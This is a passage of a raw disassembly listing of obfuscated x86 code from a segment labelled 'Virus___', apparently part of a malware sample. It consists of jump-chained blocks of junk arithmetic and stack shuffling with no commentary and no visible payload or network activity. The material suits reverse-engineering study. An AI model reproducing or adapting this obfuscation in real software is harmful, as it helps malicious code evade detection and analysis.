		jmp	loc_582126
; ---------------------------------------------------------------------------


loc_583A21:				; CODE XREF: Virus___:00586ED1j
		mov	al, ch
		mov	ch, dh
		jmp	loc_58FB69
; ---------------------------------------------------------------------------


loc_583A2A:				; CODE XREF: Virus___:0058CE0Dj
		mov	edi, 1D23B4EFh
		add	edi, 4FA25360h
		add	edi, ebp
		jmp	loc_580C72
; ---------------------------------------------------------------------------


loc_583A3C:				; CODE XREF: Virus___:00584F5Fj
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_584546
; ---------------------------------------------------------------------------


loc_583A45:				; CODE XREF: Virus___:00592437j
		xor	esi, 3D2A2569h
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		sub	ebx, 25E477A5h
		add	ebx, 775171FAh
		sub	ebx, eax
		sub	ebx, 775171FAh
		push	5D6Ah
		mov	[esp], edx
		jmp	loc_587D7E
; ---------------------------------------------------------------------------


loc_583A74:				; CODE XREF: Virus___:0058BDE2j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_58529C
; ---------------------------------------------------------------------------


loc_583A7D:				; CODE XREF: Virus___:0058C11Aj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_588D1B
; ---------------------------------------------------------------------------


loc_583A96:				; CODE XREF: Virus___:00592F6Aj
		neg	ecx
		jmp	loc_581E3B
; ---------------------------------------------------------------------------


loc_583A9D:				; CODE XREF: Virus___:0058ABB9j
		pop	ecx
		add	edi, 1
		shr	edi, 6
		jmp	loc_58C718
; ---------------------------------------------------------------------------


loc_583AAC:				; CODE XREF: Virus___:00581419j
		shr	esi, 3
		jmp	loc_592164
; ---------------------------------------------------------------------------


loc_583AB4:				; CODE XREF: Virus___:00581250j
		xor	ecx, 411D16D2h
		pop	edx
		jmp	loc_57FD6F
; ---------------------------------------------------------------------------


loc_583AC0:				; CODE XREF: Virus___:0058F427j
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_583AC5:				; CODE XREF: Virus___:0059175Fj
		shr	ebx, 4
		shl	ebx, 1
		jmp	loc_57FE9D
; ---------------------------------------------------------------------------


loc_583ACF:				; CODE XREF: Virus___:00583FAFj
		sub	ebp, 29A04B96h
		and	ebp, 5DEB5D40h
		and	ebp, 11DA6B32h
		add	ebp, 0FE37C004h
		mov	edx, ebp
		pop	ebp
		jmp	loc_5867E8
; ---------------------------------------------------------------------------


loc_583AEF:				; CODE XREF: Virus___:0058E456j
		mov	ebp, offset aRogramCannotBe ; "rogram cannot be	run in DOS mode.\r\r\n$"
		shl	ebp, 6
		inc	ebp
		shl	ebp, 3
		push	ebp
		sub	dword ptr [esp], 1
		pop	ebp
		inc	ebp
		push	esi
		mov	esi, 75CA6C42h
		inc	esi
		inc	esi
		jmp	loc_589365
; ---------------------------------------------------------------------------


loc_583B0F:				; CODE XREF: Virus___:0058087Dj
		mov	ebp, [esp]
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_589D45
; ---------------------------------------------------------------------------


loc_583B20:				; CODE XREF: Virus___:00588F6Aj
		push	eax
		jmp	loc_591878
; ---------------------------------------------------------------------------


loc_583B26:				; CODE XREF: Virus___:0058639Dj
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_58AD34
; ---------------------------------------------------------------------------


loc_583B41:				; CODE XREF: Virus___:00582C97j
		mov	[esp], eax
		mov	esi, [esp]
		add	esp, 4
		pop	eax
		add	[esp+4], esi
		push	dword ptr [esp]
		pop	esi
		push	2FBh
		mov	[esp], ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_58F8BE
; ---------------------------------------------------------------------------


loc_583B63:				; CODE XREF: Virus___:005881D7j
		add	eax, ebx
		push	edx
		push	66665AB6h
		mov	edx, [esp]
		jmp	loc_592249
; ---------------------------------------------------------------------------
		lodsd
		sub	eax, 515B2033h
		push	375Eh
		jmp	loc_5906B0
; ---------------------------------------------------------------------------


loc_583B83:				; CODE XREF: Virus___:0058D4BCj
		add	ebp, 4
		push	ecx
		push	ebp
		push	2043h
		jmp	loc_59153F
; ---------------------------------------------------------------------------


loc_583B95:				; CODE XREF: Virus___:0058E1CFj
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 2CB51543h
		jmp	loc_585077
; ---------------------------------------------------------------------------


loc_583BA9:				; CODE XREF: Virus___:0058F122j
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_589081
; ---------------------------------------------------------------------------


loc_583BBD:				; CODE XREF: Virus___:0059423Bj
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_583BC2:				; CODE XREF: Virus___:0058CF3Dj
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_582C77
; ---------------------------------------------------------------------------
		push	ebx
		mov	ebx, esp
		push	56EBh
		mov	[esp], esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		sub	ebx, eax
		pop	eax
		jmp	loc_5845A3
; ---------------------------------------------------------------------------


loc_583BF6:				; CODE XREF: Virus___:0057F9C9j
		pop	eax
		push	edx
		mov	edx, 166F57AAh
		xor	edx, 3F810D77h
		push	edi
		mov	edi, 63F8765Ch
		xor	edx, edi
		jmp	loc_58C5A5
; ---------------------------------------------------------------------------
		lodsb
		sub	esp, 4
		jmp	loc_5846B7
; ---------------------------------------------------------------------------


loc_583C19:				; CODE XREF: Virus___:00582A1Bj
		sub	esi, 4
		jmp	loc_582233
; ---------------------------------------------------------------------------


loc_583C24:				; CODE XREF: Virus___:00589B5Dj
		push	ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_587E07
; ---------------------------------------------------------------------------


loc_583C49:				; CODE XREF: Virus___:005800B4j
		pop	ebx
		and	eax, esi
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	edx
		jmp	loc_58BB36
; ---------------------------------------------------------------------------


loc_583C5E:				; CODE XREF: Virus___:0058754Cj
		sub	esi, 777C4D24h
		pop	eax
		push	edi
		mov	edi, esp
		jmp	loc_58E9F7
; ---------------------------------------------------------------------------


loc_583C6D:				; CODE XREF: Virus___:0058B1BAj
		xchg	ecx, [esp]
		pop	esp
		push	edx
		jmp	loc_5879EC
; ---------------------------------------------------------------------------


loc_583C77:				; CODE XREF: Virus___:0057F65Bj
		inc	dl
		shr	dl, 3
		push	49D5h
		jmp	loc_590DF3
; ---------------------------------------------------------------------------


loc_583C86:				; CODE XREF: Virus___:0058CDE3j
		neg	ebp
		push	ecx
		mov	ecx, 45A4D4AEh
		jmp	loc_582340
; ---------------------------------------------------------------------------


loc_583C93:				; CODE XREF: Virus___:005880AEj
		pop	esi
		push	25B9h
		mov	[esp], edx
		push	ebx
		mov	ebx, 2
		mov	edx, ebx
		pop	ebx
		add	ebp, 3FEA326Bh
		add	ebp, edx
		push	eax
		jmp	loc_58E68F
; ---------------------------------------------------------------------------


loc_583CB3:				; CODE XREF: Virus___:0058D907j
		add	edx, 132A3621h
		sub	ebx, edx
		pop	edx
		sub	esp, 4
		mov	[esp], eax
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_5820DD
; ---------------------------------------------------------------------------


loc_583CD9:				; CODE XREF: Virus___:005917BAj
		neg	edi
		dec	edi
		jmp	loc_58EF38
; ---------------------------------------------------------------------------


loc_583CE1:				; CODE XREF: Virus___:0058C477j
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_58AB29
; ---------------------------------------------------------------------------


loc_583CEC:				; CODE XREF: Virus___:00593FD6j
		mov	cx, [esp]
		push	esi
		push	esp
		pop	esi
		push	edi
		mov	edi, 114A7588h
		jmp	loc_59044D
; ---------------------------------------------------------------------------


loc_583CFE:				; CODE XREF: Virus___:00591E2Dj
		mov	edi, esp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		sub	edi, 205416EDh
		jmp	loc_5803A9
; ---------------------------------------------------------------------------


loc_583D19:				; CODE XREF: Virus___:005924EDj
		xor	edx, ecx
		jmp	loc_58A648
; ---------------------------------------------------------------------------


loc_583D20:				; CODE XREF: Virus___:00592FF2j
		mov	edi, 42D86675h
		push	esi
		mov	esi, edi
		jmp	loc_57F44C
; ---------------------------------------------------------------------------


loc_583D2D:				; CODE XREF: Virus___:0058792Ej
		mov	ecx, 205D48A6h
		shl	ecx, 7
		or	ecx, 72FE2991h
		xor	ecx, 4CB34E4Eh
		not	ecx
		xor	ecx, 0CDB2CA24h
		add	eax, 60155879h
		add	eax, ecx
		sub	eax, 60155879h
		pop	ecx
		xchg	eax, [esp]
		pop	esp
		shl	eax, 4
		or	eax, 3A5C0578h
		jmp	loc_587599
; ---------------------------------------------------------------------------


loc_583D67:				; CODE XREF: Virus___:00589B06j
		or	esi, 312E7A96h
		and	esi, 45403F01h
		shl	esi, 3
		jmp	loc_5861E3
; ---------------------------------------------------------------------------


loc_583D7B:				; CODE XREF: Virus___:00581015j
		not	ah
		xor	[esp], ah
		xor	ah, [esp]
		xor	[esp], ah
		pop	ecx
		push	eax
		jmp	loc_586099
; ---------------------------------------------------------------------------


loc_583D8D:				; CODE XREF: Virus___:00592BDDj
		add	dl, 28h
		add	bl, dl
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_586840
; ---------------------------------------------------------------------------


loc_583D9D:				; CODE XREF: Virus___:00584EEFj
		mov	ebp, 1F4A1481h
		sub	ebp, 0C44FAD02h
		mov	edi, ebp
		pop	ebp
		add	eax, edi
		push	dword ptr [esp]
		jmp	loc_58292A
; ---------------------------------------------------------------------------


loc_583DB5:				; CODE XREF: Virus___:00589994j
		sub	esi, 32F408F0h
		jmp	loc_584D77
; ---------------------------------------------------------------------------


loc_583DC0:				; CODE XREF: Virus___:0058FC6Dj
		push	4B3h
		mov	[esp], esi
		push	dword ptr [esp+4]
		jmp	loc_583FEB
; ---------------------------------------------------------------------------


loc_583DD1:				; CODE XREF: Virus___:0058AF37j
		mov	ch, bh
		pop	ebx
		mov	ah, ch
		pop	ecx
		pop	edx
		mov	bl, ah
		pop	eax
		push	ecx
		mov	cl, 0F1h
		shr	cl, 8
		xor	cl, 0CDh
		jmp	loc_5805EF
; ---------------------------------------------------------------------------


loc_583DE9:				; CODE XREF: Virus___:00584B1Aj
		add	edi, 10B452E9h
		add	edi, 4A81B33h
		pop	ecx
		push	1AC7h
		mov	[esp], ebx
		mov	ebx, 2
		add	edi, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5936A7
; ---------------------------------------------------------------------------


loc_583E0E:				; CODE XREF: Virus___:005856CBj
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_588B1A
; ---------------------------------------------------------------------------


loc_583E1C:				; CODE XREF: Virus___:00589E2Bj
		push	esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		jmp	loc_58053F
; ---------------------------------------------------------------------------


loc_583E2A:				; CODE XREF: Virus___:0058B165j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_58EA59
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ecx
		push	4F55h
		push	ebx
		jmp	loc_587E46
; ---------------------------------------------------------------------------


loc_583E54:				; CODE XREF: Virus___:0058D886j
		add	ebx, edi
		add	ebx, 2FA176A2h
		push	eax
		mov	eax, 0
		add	eax, ebx
		jmp	loc_593387
; ---------------------------------------------------------------------------


loc_583E69:				; CODE XREF: Virus___:00586AE2j
		mov	[esp], eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	ecx
		mov	ecx, 1CE44657h
		jmp	loc_58A23C
; ---------------------------------------------------------------------------


loc_583E94:				; CODE XREF: Virus___:0058EC41j
		push	ebp
		jmp	loc_594105
; ---------------------------------------------------------------------------


loc_583E9A:				; CODE XREF: Virus___:0058F86Cj
		or	edx, 2FBF7E2Dh
		jmp	loc_58BEE4
; ---------------------------------------------------------------------------


loc_583EA5:				; CODE XREF: Virus___:00584F6Cj
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 5407680Dh
		add	ebp, ecx
		pop	ecx
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 2
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 761602D0h
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 246F39CCh
		add	ebp, 4BF16D53h
		add	ebp, esi
		sub	ebp, 4BF16D53h
		jmp	loc_591964
; ---------------------------------------------------------------------------


loc_583F14:				; CODE XREF: Virus___:0058F252j
		push	edi
		mov	edi, 1B933983h
		mov	eax, 5ED23A17h
		sub	eax, edi
		jmp	loc_58E81A
; ---------------------------------------------------------------------------


loc_583F26:				; CODE XREF: Virus___:0058D1C8j
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		rep movsd
		add	esp, [edx+38h]
		push	ebp
		push	48C4h
		jmp	loc_58EE1C
; ---------------------------------------------------------------------------


loc_583F43:				; CODE XREF: Virus___:0058015Fj
		mov	edx, esp
		add	edx, 4
		jmp	loc_58B1D8
; ---------------------------------------------------------------------------


loc_583F50:				; CODE XREF: Virus___:005898B6j
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		push	esp
		jmp	loc_581433
; ---------------------------------------------------------------------------


loc_583F65:				; CODE XREF: Virus___:0057F690j
		mov	edi, 2F7123Ah
		push	ebx
		mov	ebx, 6D452C4Ah
		jmp	loc_593EFB
; ---------------------------------------------------------------------------


loc_583F75:				; CODE XREF: Virus___:0058D8C2j
		push	ebp
		mov	ebp, 46AE285Dh
		and	ebp, 26936CA2h
		shl	ebp, 4
		add	ebp, 0FC84C06Eh
		jmp	loc_58F8E0
; ---------------------------------------------------------------------------


loc_583F8F:				; CODE XREF: Virus___:00582DFFj
		pop	dword ptr [esp]
		push	35AAh
		mov	[esp], ecx
		mov	ecx, 4
		add	[esp+4], ecx
		pop	ecx
		pop	dword ptr [esp]
		push	edx
		push	ebp
		push	158A3DA7h
		pop	ebp
		jmp	loc_583ACF
; ---------------------------------------------------------------------------


loc_583FB4:				; CODE XREF: Virus___:0057FBE7j
		mov	eax, [esp]
		add	esp, 4
		pop	ebx
		push	ebx
		not	dword ptr [esp]
		jmp	loc_58AB90
; ---------------------------------------------------------------------------


loc_583FC4:				; CODE XREF: Virus___:00588D7Dj
		push	ebp
		mov	ebp, 0B528CF4Ah
		jmp	loc_590432
; ---------------------------------------------------------------------------


loc_583FCF:				; CODE XREF: Virus___:00592A5Dj
		mov	ecx, esp
		add	ecx, 4
		push	esi
		mov	esi, 4
		sub	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_580421
; ---------------------------------------------------------------------------


loc_583FEB:				; CODE XREF: Virus___:00583DCCj
		mov	esi, [esp]
		jmp	loc_58164C
; ---------------------------------------------------------------------------


loc_583FF3:				; CODE XREF: Virus___:0058E666j
		shl	ecx, 4
		xor	ecx, eax
		jmp	loc_58AD61
; ---------------------------------------------------------------------------


loc_583FFD:				; CODE XREF: Virus___:00591E85j
		not	ecx
		xor	ecx, 494048CAh
		jmp	loc_58F031
; ---------------------------------------------------------------------------


loc_58400A:				; CODE XREF: Virus___:00592B80j
		push	1EEh
		jmp	loc_58D0B8
; ---------------------------------------------------------------------------


loc_584014:				; CODE XREF: Virus___:00580F87j
		dec	eax
		jmp	loc_585F3E
; ---------------------------------------------------------------------------


loc_58401A:				; CODE XREF: Virus___:0058CCAAj
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		push	ebx
		mov	ebx, 7F7F4E6Eh
		mov	esi, 7F7F4E72h
		sub	esi, ebx
		jmp	loc_5837C9
; ---------------------------------------------------------------------------


loc_584038:				; CODE XREF: Virus___:00589C1Bj
		and	dl, 0F3h
		add	dl, 8Ah
		xchg	bh, dl
		neg	bh
		push	ax
		mov	ah, bh
		mov	bh, dl
		mov	dl, ah
		pop	ax
		add	dl, 0B0h
		push	bx
		mov	bh, 0DBh
		jmp	loc_593688
; ---------------------------------------------------------------------------


loc_584058:				; CODE XREF: Virus___:0058D826j
		xor	eax, ecx
		xor	ecx, eax
		inc	ecx
		sub	ecx, 0F27C0322h
		sub	ebp, ecx
		pop	ecx
		jmp	loc_587059
; ---------------------------------------------------------------------------


loc_58406B:				; CODE XREF: Virus___:00587A57j
		add	ebx, 522008Dh
		jmp	loc_588D6F
; ---------------------------------------------------------------------------


loc_584076:				; CODE XREF: Virus___:00580DC9j
		mov	[esp], ecx
		mov	ecx, 46271D1Fh
		dec	ecx
		or	ecx, 21C64B3Bh
		inc	ecx
		push	0
		sub	[esp], ecx
		pop	ecx
		xor	ecx, 0FD36E89Fh
		sub	eax, ecx
		jmp	loc_58C73A
; ---------------------------------------------------------------------------


loc_58409C:				; CODE XREF: Virus___:00587AC9j
		inc	cl
		inc	cl
		sub	cl, 0E6h
		shl	cl, 5
		dec	cl
		jmp	loc_585C2C
; ---------------------------------------------------------------------------


loc_5840AD:				; CODE XREF: Virus___:00592200j
		add	edi, eax
		mov	eax, [esp]
		push	ebp
		jmp	loc_58CD37
; ---------------------------------------------------------------------------


loc_5840B8:				; CODE XREF: Virus___:00593318j
		add	ecx, 4DDB7F77h
		pop	ebp
		jmp	loc_58E85B
; ---------------------------------------------------------------------------


loc_5840C4:				; CODE XREF: Virus___:0058EF46j
		mov	edx, 324A0AB8h
		dec	edx
		add	edx, 0ECF57272h
		or	ebp, edx
		pop	edx
		add	ebp, 54704264h
		add	ebp, 3ED6012h
		jmp	loc_59024D
; ---------------------------------------------------------------------------


loc_5840E4:				; CODE XREF: Virus___:0058555Cj
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_58480C
; ---------------------------------------------------------------------------


loc_5840EF:				; CODE XREF: Virus___:00582E1Cj
		sub	ebp, 15D5001Ch
		jmp	loc_5924F2
; ---------------------------------------------------------------------------


loc_5840FA:				; CODE XREF: Virus___:0058D66Aj
		neg	ebp
		jmp	loc_57FF60
; ---------------------------------------------------------------------------


loc_584101:				; CODE XREF: Virus___:0058E732j
		inc	edi
		inc	edi
		push	ebx
		jmp	loc_587E24
; ---------------------------------------------------------------------------


loc_584109:				; CODE XREF: Virus___:00584E68j
		push	ecx
		push	6940771Bh
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	9B7h
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		jmp	loc_583558
; ---------------------------------------------------------------------------


loc_584132:				; CODE XREF: Virus___:00588BA2j
		add	esi, ebp
		add	esi, 5CCA2F09h
		jmp	loc_58A74C
; ---------------------------------------------------------------------------


loc_58413F:				; CODE XREF: Virus___:0058E10Fj
		xor	ebx, edx
		pop	edx
		jmp	loc_58FF2D
; ---------------------------------------------------------------------------


loc_584147:				; CODE XREF: Virus___:0058739Aj
		add	ecx, edi
		add	ecx, 491F166Ah
		pop	edi
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_5856AC
; ---------------------------------------------------------------------------


loc_584161:				; CODE XREF: Virus___:0058D652j
		mov	bx, [esp]
		add	esp, 2
		push	edx
		mov	dl, 2
		shr	dl, 5
		jmp	loc_593513
; ---------------------------------------------------------------------------


loc_584173:				; CODE XREF: Virus___:005836D7j
		mov	edx, 72F76970h
		sub	edx, 9E16996Ch
		sub	eax, 0D42165Bh
		add	eax, edx
		add	eax, 0D42165Bh
		jmp	loc_586141
; ---------------------------------------------------------------------------


loc_58418F:				; CODE XREF: Virus___:00593803j
		not	eax
		xchg	eax, edi
		sub	edi, 9E96CCB0h
		jmp	loc_58D391
; ---------------------------------------------------------------------------


loc_58419D:				; CODE XREF: Virus___:0058AF18j
		sub	ch, bh
		pop	bx
		sub	ch, 6Ah
		sub	al, ch
		pop	ecx
		jmp	loc_58B0F2
; ---------------------------------------------------------------------------


loc_5841AC:				; CODE XREF: Virus___:0058A2E1j
		mov	eax, 1B480AA7h
		sub	eax, 11C369EBh
		sub	eax, 0FFFFFFFFh
		add	eax, 48C34330h
		sub	eax, 323990C8h
		sub	ebp, eax
		pop	eax
		add	edx, ebp
		push	dword ptr [esp]
		pop	ebp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_58CA8E
; ---------------------------------------------------------------------------


loc_5841E0:				; CODE XREF: Virus___:0058C76Dj
		pop	eax
		add	dh, ch
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		mov	bl, dh
		jmp	loc_584AA0
; ---------------------------------------------------------------------------


loc_5841F4:				; CODE XREF: Virus___:0058F03Aj
		sub	ebx, 307733A5h
		jmp	loc_58B683
; ---------------------------------------------------------------------------


loc_5841FF:				; CODE XREF: Virus___:00590457j
		mov	ebp, 79026CFBh
		jmp	loc_5893B7
; ---------------------------------------------------------------------------


loc_584209:				; CODE XREF: Virus___:0058D96Bj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_58CB6D
; ---------------------------------------------------------------------------


loc_58421C:				; CODE XREF: Virus___:00585D01j
		add	esp, 4
		neg	esi
		shl	esi, 5
		push	ecx
		jmp	loc_5893EF
; ---------------------------------------------------------------------------


loc_58422A:				; CODE XREF: Virus___:00582383j
		pop	esp
		and	[esp], eax
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_584234:				; CODE XREF: Virus___:00581D88j
		neg	ebp
		jmp	loc_593559
; ---------------------------------------------------------------------------


loc_58423B:				; CODE XREF: Virus___:0059183Cj
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 0A404C805h
		push	ecx
		jmp	loc_585218
; ---------------------------------------------------------------------------


loc_584256:				; CODE XREF: Virus___:0058C65Bj
		pop	esp
		jmp	loc_590F8E
; ---------------------------------------------------------------------------


loc_58425C:				; CODE XREF: Virus___:00587575j
		mov	ecx, esp
		jmp	loc_58CBB2
; ---------------------------------------------------------------------------


loc_584263:				; CODE XREF: Virus___:0058FFEDj
		sub	ebx, 2543D454h
		sub	ebp, ebx
		pop	ebx
		jmp	loc_58F2E2
; ---------------------------------------------------------------------------


loc_584271:				; CODE XREF: Virus___:0058B3BAj
		mov	eax, 329F155Ch
		mov	edi, 5A431FE4h
		xor	edi, eax
		pop	eax
		xor	edi, 534A37B8h
		and	ecx, edi
		jmp	loc_582295
; ---------------------------------------------------------------------------


loc_58428B:				; CODE XREF: Virus___:00580460j
		not	ah
		xchg	ah, cl
		xchg	cl, bh
		jmp	loc_59063C
; ---------------------------------------------------------------------------


loc_584296:				; CODE XREF: Virus___:0058F16Fj
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58429B:				; CODE XREF: Virus___:0058EA61j
		sub	eax, 33061CF8h
		push	3753h
		jmp	loc_58777A
; ---------------------------------------------------------------------------


loc_5842AA:				; CODE XREF: Virus___:00593C95j
		not	ebp
		xor	ebp, 9334CC2Ch
		add	edx, ebp
		jmp	loc_591063
; ---------------------------------------------------------------------------


loc_5842B9:				; CODE XREF: Virus___:0058B8C0j
		pop	edi
		add	eax, 15B215DAh
		inc	eax
		shl	eax, 8
		shr	eax, 6
		add	eax, 0A031A21Bh
		jmp	loc_58CC68
; ---------------------------------------------------------------------------


loc_5842D0:				; CODE XREF: Virus___:0057FEE8j
		mov	esi, [esp]
		jmp	loc_58EF67
; ---------------------------------------------------------------------------


loc_5842D8:				; CODE XREF: Virus___:00586336j
		mov	ebp, 24D07A93h
		mov	ebx, 484A3BF8h
		xor	ebx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], ebx
		xor	dword ptr [esp], 6BB00DFCh
		jmp	loc_586225
; ---------------------------------------------------------------------------


loc_5842FA:				; CODE XREF: Virus___:005887F1j
		push	small 100Ch
		mov	[esp], ax
		jmp	loc_587DB1
; ---------------------------------------------------------------------------


loc_584307:				; CODE XREF: Virus___:0058F33Cj
		push	esi
		mov	esi, 6826690Bh
		dec	esi
		jmp	loc_5934D9
; ---------------------------------------------------------------------------


loc_584313:				; CODE XREF: Virus___:0058EE7Cj
		add	eax, edx
		pop	edx
		jmp	loc_59298D
; ---------------------------------------------------------------------------


loc_58431B:				; CODE XREF: Virus___:00586EA3j
		pop	edx
		xchg	eax, edx
		jmp	loc_581B8D
; ---------------------------------------------------------------------------


loc_584322:				; CODE XREF: Virus___:00583335j
		pop	dword ptr [esp]
		jmp	loc_59360C
; ---------------------------------------------------------------------------


loc_58432A:				; CODE XREF: Virus___:005900E6j
		pop	ecx
		jmp	loc_582FA9
; ---------------------------------------------------------------------------


loc_584330:				; CODE XREF: Virus___:00593A7Fj
		add	edi, 51031327h
		and	edi, 34836493h
		sub	edi, 0E0DC4B3h
		sub	ebx, edi
		pop	edi
		push	ecx
		push	4DF1092Dh
		mov	ecx, [esp]
		add	esp, 4
		sub	ecx, 0E834CC6Eh
		jmp	loc_58E39D
; ---------------------------------------------------------------------------


loc_58435C:				; CODE XREF: Virus___:005934A0j
		mov	edi, esp
		add	edi, 4
		jmp	loc_589CD4
; ---------------------------------------------------------------------------


loc_584369:				; CODE XREF: Virus___:005864B7j
		xor	cl, 0D0h
		sub	dl, cl
		pop	ecx
		push	eax
		mov	ah, 51h
		not	ah
		and	ah, 0C9h
		add	ah, 0ACh
		add	ah, 39h
		jmp	loc_58615F
; ---------------------------------------------------------------------------


loc_584382:				; CODE XREF: Virus___:00591829j
		pop	ebp
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	ebp
		push	edi
		mov	edi, 5CAF2655h
		push	edi
		xor	dword ptr [esp], 3D3039DBh
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		xor	ebp, 3D3039DBh
		mov	edi, [esp]
		push	edx
		jmp	loc_592C3F
; ---------------------------------------------------------------------------


loc_5843B5:				; CODE XREF: Virus___:0058CDBFj
		pop	eax
		jmp	loc_591FD6
; ---------------------------------------------------------------------------


loc_5843BB:				; CODE XREF: Virus___:0058F59Fj
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		push	55A8h
		jmp	loc_58D454
; ---------------------------------------------------------------------------


loc_5843DE:				; CODE XREF: Virus___:00589449j
		add	edi, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_592442
; ---------------------------------------------------------------------------


loc_5843EB:				; CODE XREF: Virus___:0058D80Aj
		push	dword ptr [edx]
		pop	ecx
		pop	edx
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_5821BD
; ---------------------------------------------------------------------------
		push	edx
		push	1A5Bh
		mov	[esp], esi
		mov	esi, 7A327097h
		push	ebx
		push	63FC28A7h
		pop	ebx
		shr	ebx, 1
		dec	ebx
		push	ebp
		mov	ebp, 0AC3084ADh
		sub	ebx, 788026E0h
		jmp	loc_589021
; ---------------------------------------------------------------------------


loc_58444F:				; CODE XREF: Virus___:00586289j
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, 59BC2561h
		push	ebp
		mov	ebp, 0FFFFFFFFh
		add	ecx, 1ABC11F0h
		sub	ecx, ebp
		sub	ecx, 1ABC11F0h
		pop	ebp
		jmp	loc_58E1D4
; ---------------------------------------------------------------------------


loc_584474:				; CODE XREF: Virus___:0058852Aj
		push	edx
		jmp	loc_587E94
; ---------------------------------------------------------------------------


loc_58447A:				; CODE XREF: Virus___:00586CD1j
		add	ecx, eax
		pop	eax
		add	ecx, 4
		push	29Dh
		mov	[esp], esi
		push	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	esi, 4
		push	edx
		mov	edx, 4
		sub	esi, 32DB4A5Fh
		sub	esi, edx
		add	esi, 32DB4A5Fh
		pop	edx
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_58135B
; ---------------------------------------------------------------------------


loc_5844C7:				; CODE XREF: Virus___:005848DAj
		add	ebp, eax
		mov	eax, [esp]
		jmp	loc_593013
; ---------------------------------------------------------------------------


loc_5844D1:				; CODE XREF: Virus___:00580B4Bj
		push	edx
		mov	dl, 9Ah
		inc	dl
		add	dl, 0B9h
		jmp	loc_591856
; ---------------------------------------------------------------------------


loc_5844DE:				; CODE XREF: Virus___:00589498j
		pop	eax
		push	7AA3h
		mov	[esp], ebx
		jmp	loc_5812DA
; ---------------------------------------------------------------------------


loc_5844EC:				; CODE XREF: Virus___:00585730j
		add	esp, 4
		jmp	loc_58AB0A
